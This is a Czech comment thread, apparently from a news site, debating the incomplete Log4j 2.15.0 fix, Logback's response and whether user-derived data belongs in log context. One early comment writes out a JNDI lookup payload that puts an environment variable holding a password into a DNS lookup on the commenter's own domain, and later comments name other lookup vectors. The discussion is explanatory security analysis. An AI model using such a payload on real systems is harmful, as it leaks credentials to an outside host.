Tak i samotná oprava má nejméně dvě chyby...
"Now, researchers are reporting that there are at least two vulnerabilities in the patch, released as Log4J 2.15.0, and that attackers are actively exploiting one or both of them against real-world targets who have already applied the update. The researchers are urging organizations to install a new patch, released as version 2.16.0, as soon as possible to fix the vulnerability, which is tracked as CVE-2021-45046."
[ https://arstechnica.com/information-technology/2021/12/patch-fixing-critical-log4j-0-day-has-its-own-vulnerability-thats-under-exploit/ ]
jak tak koukám na opravu u Log4J 2.15, tady je commit, který přidával pro jndi možnost to povolit jen pro konkrétní adresy, https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51R218, na první pohled to vypadá skvěle, ale uri.getHost() způsobí DNS dotaz na ip adresu a dojde k úniku údajů, které jsem si tam mohl podstrčit jako domain name formou ${jndi:ldap//${env:PASSWORD}.mojedomena.cz}
Takže i aktuální informace na https://logging.apache.org/log4j/2.x/:
[em]It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations
[/em]
je nesprávné, oprava je "incomplete", ale nikoliv pouze pro nevýchozí konfigurace, ale opět pro všechny. A jestli dobře koukám, tak to dokonce přeskakuje původní vypnutí jndi dostupné od 2.10, takže hodně nepovedená oprava. První oprava chyb by měla mít co nejméně kódu a nikoliv přidávat nové funkce, to je zásada bezpečného přístupu.
Je zajímavé porovnat to s přístupem autorů Logbacku. Objevilo se podezření na možnou podobnou zranitelnost, které samo o sobě potřebuje velmi silné prerekvizity (útočník musí mít právo přepsat konfigurační soubor pro logování – což ve spoustě případů znamená, že už stejně může všechno).
První opravná verze – zákaz všech JNDI lookupů a dočasné odstranění veškerého kódu souvisejícího s JDBC bez náhrady.
Druhá opravná verze po dalším zkoumání – povolení JNDI lookupu ale jeho omezení na protokol java: (přičemž ten lookup se dělá na základě konfiguračního souboru, ne logovací zprávy nebo uživatelských dat). Dále lepší zabezpečení SMTPAppenderu a odstranění podpory Groovy pro konfiguraci Logbacku, protože Groovy je příliš silný nástroj na něco tak jednoduchého, jako je konfigurace logování.
Úplně opačný přístup, bezpečnost je na prvním místě. Nejprve potenciálně zranitelný kód úplně znepřístupní (zvlášť když se používá velmi málo), teprve pak po podrobnějším prozkoumání případně část po lepším zabezpečení znovu zpřístupní. V Log4k 2 něco zalepí a pak koukají, jestli to pořád teče nebo už míň.
Tohle, ale také není správný postup. To je jenom zmatkování. Odebírání funkčních vlastností takhle narychlo mi přijde trochu nefér vůči jejich uživatelům, navíc když není prokázáno, že jsou zneužitelné. Správně by mělo být, podle mě, vypnutí by default a povolení pouze s flagem a s poznámkou, že v příštích verzí to bude odebrané.
Navíc se pozastavím nad tím, jak jste tady logback obhajoval. Tak nejprve říkáte, že logování má být stupidní a nic nedělat, ale logback podporuje přímo konfiguraci pomocí groovy? Není tohle náhodou právě to co jste kritizoval na log4j 2?
Ano, dalo by se to dělat tak komplikovaně, jak to popisujete vy, a riskovat, že ten konfigurační parametr nebude fungovat. Ať už obecně, nebo že ho někdo špatně nastaví. A nebo se to dá udělat tak, že se vydá nová verze, kde je to natvrdo zakázané – a kdo to používá, tak prostě nebude aktualizovat.
Je rozdíl mezi logováním a konfigurací logování. Konfigurace logování se provede obvykle jednou při startu aplikace a pak už to má Logback uložené ve svých interních strukturách a nevstupuje do toho ani Joran ani Groovy. Ale jak vidíte, autoři Logbacku to v novém kontextu zvážili a usoudili, že i tak je to zbytečné riziko a podporu pro automatickou konfiguraci přes Groovy odstranili. Protože Logback vystavuje pro konfiguraci API, pokud chce, může Groovy nadále použít, ale už tam nebude ta automatická podpora, že když bylo Groovy dostupné na classpath, hledal se automaticky i konfigurační soubor logback.groovy a použil se, pokud byl dostupný.
Jak jsem psal tohle je řešení zmatkováním, honem všechno odstranit. Ten postup komplikovaný není. Co když se objeví chyba někde jinde, to budou mít pak uživatelé staré verze smůlu? Fascinuje mě, jak na jednu stranu strašně obhajujete zpětnou kompatibilitu a na druhou jste schopný podporovat vyhazování věcí bez zjevného důvodu, jenom, že si nejsou jistí.
Za mě je tohle úplně špatně, ten logovací framework by měl umět naprosté minimum a tohle všechno by mělo být jako pluginy. Chcete zápis do DB, jasně umíme, stačí přidat tenhle plugin. Chceš JNDI, jasně přidej tenhle plugin.
Ten postup komplikovaný není.
To, že vy spouštíte aplikaci z nějakého shell skriptu nebo systemd jednotky neznamená, že se tak spouštějí všechny aplikace na světě. Někdy není úplně snadné do cílové aplikace procpat systémovou vlastnost nebo proměnnou prostředí. Navíc vypínat něco nebezpečného tímhle způsobem je znovu nebezpečné, protože nemáte jistotu, že je to opravdu vypnuté. Nastavíte systémovou vlastnost a máte pocit, že máte vyřešeno – a přitom třeba nemáte vyřešeno nic, stačí hloupý překlep v názvu. A do třetice, jak je vidět na příkladu Log4j 2, ten kód rozhodující se podle té systémové vlastnosti může být zase chybný.
Co když se objeví chyba někde jinde, to budou mít pak uživatelé staré verze smůlu?
Je dost velká pravděpodobnost, že než se objeví chyba jinde, bude tohle vyřešené. V Logbacku už je JNDI zpět, omezené jen na protokol java. Pokud někdo opravdu potřebuje konfigurovat Logback pomocí Groovy, už pravděpodobně řeší, jak to udělat ve své aplikaci.
bez zjevného důvodu, jenom, že si nejsou jistí
Ano, je zjevné, že náš pohled na bezpečnost je zjevně dost odlišný. Já RCE opravované na několik pokusů nepovažuju za něco, nad čím lze mávnout rukou.
Za mě je tohle úplně špatně, ten logovací framework by měl umět naprosté minimum a tohle všechno by mělo být jako pluginy. Chcete zápis do DB, jasně umíme, stačí přidat tenhle plugin. Chceš JNDI, jasně přidej tenhle plugin.
Aspoň na něčem se shodneme.
Thread Context byla jen ukázka principu, jak koukám do zdrojáků, měla by být ještě možná varianta ${map:} nebo ${sd:} a použití tříd jako StringMapMessage() nebo StructuredDataMessage() pro uživatelský vstup už může být častější. Třída nemusí být použit přímo, ale v rámci nějaké funkce vyššího frameworku, vím, že se s tímhle pracoval např. v Akka ve Scale.
Prohledali jsme zdrojáky a nastavení pro log4j, ani v jednom případě jsme takhle nastavení appender nenašli, to se jedná o tisíce java aplikací různých autorů nebo firem. Variantu, kdy bychom to nevhodně hledali jsme doufám patřičně ošetřili.
Podle google to ale očividně někdo tak používá:
https://stackoverflow.com/questions/31202120/including-the-threadcontext-when-writing-log4j2-logs-via-a-java-static-method
https://stackoverflow.com/questions/32158882/log4j2-appender-not-logging-to-threadcontext-folder
https://www.baeldung.com/mdc-in-log4j-2-logback (paradoxně článek je datovám teď na prosinec)
útočník pošle nevalidní JWT token a ten může skončit v téhle property a zalogovat se. Mysli na to, že většinou loguješ co je špatně a nikoliv všechen uživatelský vstup, za poslední dny jsem viděl spousty pokusů v http hlavičkách, DNS záznamech, emailových hlavičkách, client certifikátech.
Je těžké to formálně z venku prokázat, takže je potřeba předpokládat, že se to tak děje a pokud někdo do patternu použije nějakou takovou konstrukci, je nutné říct, že je aplikace zranitelná bez ohledu na to odkud tam ten obsah jde.
Ten vstup by se musel dát do MDC a pokud vám někdo pošle JWT, tak první co uděláte, je že ověříte jestli je validní. Pokud není, tak ho maximálně zalogujete ale rozhodně z něj nebudete ukládat informace do MDC. To co je špatně se loguje přímo a je tedy postižitelné tou první chybou, ty ostatní musí být vloženy do MDC a ještě pro výpis musí být použit lookup.
Saljack: Na tom je krásně vidět, jak je ten váš přístup nebezpečný. Co je validní JWT? Že má platný podpis? Nebo kontrolujete nějak i hodnoty uvnitř? Třeba jméno (občanské) uživatele nebo jeho přezdívku? Jako poznáte validní přezdívku od nevalidní? Nebo to, že se v přezdívce neobjeví dolar a složené závorky podle vás validuje vydavatel toho JWT? Jak moc jste si tím jistý?
Určitě namítnete, že přece přezdívku nebudete ukládat do MDC. Takže máte položky JWT pečlivě rozdělené na důvěryhodné a nedůvěryhodné, a podle toho je vkládáte do MDC? A jste si jistý, že ty nedůvěryhodné do MDC nevloží nikdo v žádné části aplikace? Co ty patří mezi ty důvěryhodné položky JWT? E-mail uživatele? Víte, jak ho poskytovatel JWT validuje?
A i kdyby pro vás poskytovatel JWT filtroval veškerý uživatelský vstup tak, aby vaše aplikace nebyla napadnutelná přes Log4j 2 – důvěřujete tomu poskytovateli JWT tak, že s ním budete sdílet proměnné prostředí vaší aplikace, třeba hesla nebo autentizační tokeny?
Já si myslím, že přístup má být přesně opačný – logovat všechny údaje, které dostávám a mohly by se hodit. To, jestli těm údajům můžu nebo nemůžu věřit, se zjistí až následnou analýzou. Mimochodem, tohle je princip všech logů a deníčků, ne jen těch aplikačních – zaznamenávám to, co v tu chvíli vidím, interpretaci nechávám na později. Interpretace se může v čase vyvíjet a pokud zkreslím data interpretací už v okamžiku záznamu, nikdy z toho ta původní data nedostanu a to zkreslení tam budu mít navždy.
S tím vaším přístupem se třeba nikdy nedozvíte o pokusech o útok, protože je zahodíte dřív, než je zalogujete. A nebudete mít zalogovaný ani úspěšný útok, pokud půjde cestou, kterou jste neočekával (což je u útoků obvyklé).
Právě naopak vy zkreslujete, protože prohlašujete něco za informaci, která není pravdivá. Nikde není napsáno o tom, že to nemáte zalogovat ale pokud v logách něco tvrdíte, tak by to měla být ověřená informace.
S tím vaším přístupem se třeba nikdy nedozvíte o pokusech o útok, protože je zahodíte dřív, než je zalogujete. A nebudete mít zalogovaný ani úspěšný útok, pokud půjde cestou, kterou jste neočekával (což je u útoků obvyklé).
Nikdy a nikde jsem netvrdil, že se to nezaloguje a už vám to píšu po několikáte. Vše se zaloguje ale rozhodně to nebude mít nesmyslný kontext aby se to následně muselo analyzovat, zda ten context je pravdivý nebo není. Opět dodávám příklad abyste to konečně již pochopil:
[jirsak] Invalid login
[] Invalid login with username jirsak
Já do logů ve spoustě případů dávám jenom údaje, ne informace. Informaci je z toho potřeba teprve vytvořit. A protože nevím, jaké informace bude potřeba získávat, ukládám právě ty údaje, bez nějaké interpretace a filtrování.
Ten příklad nemusíte opakovat, já ho chápu. Akorát to, že vy něco logujete špatně, není důkazem toho, že je to principiálně špatně.
Říkejte si tomu klidně jak chcete údaje nebo informace. To, že ukládáte nesmysly, které jsou úplně k ničemu a navíc jsou nepravdivé a akorát vedou k následným problémům je váš problém a problém těch co s tím pak mají něco dělat (naštěstí ne můj). Co do toho plete nějaké filtrování, o tom jsem nikde nepsal. Psal jsem pouze o security filteru, který loguje přesně ty informace které má a právě, že se nesnaží interpretovat naopak od vás když tvrdíte, že se jedná o uživatele.
Příklad bohužel musím opakovat, protože ho stále nechápete.
Howgh
21. 12. 2021, 12:44 editováno autorem komentáře
Údaj (nebo data) jsou něco jiného, než informace. Informace získáte z dat tím, že použijete znalosti. Vy stále trváte na tom, že znalosti nemáte, pak ovšem opravdu z dat nemůžete získat informace. Pak samozřejmě nemůžete posoudit, jestli je něco pravdivé nebo nepravdivé ani jestli to k něčemu je nebo není.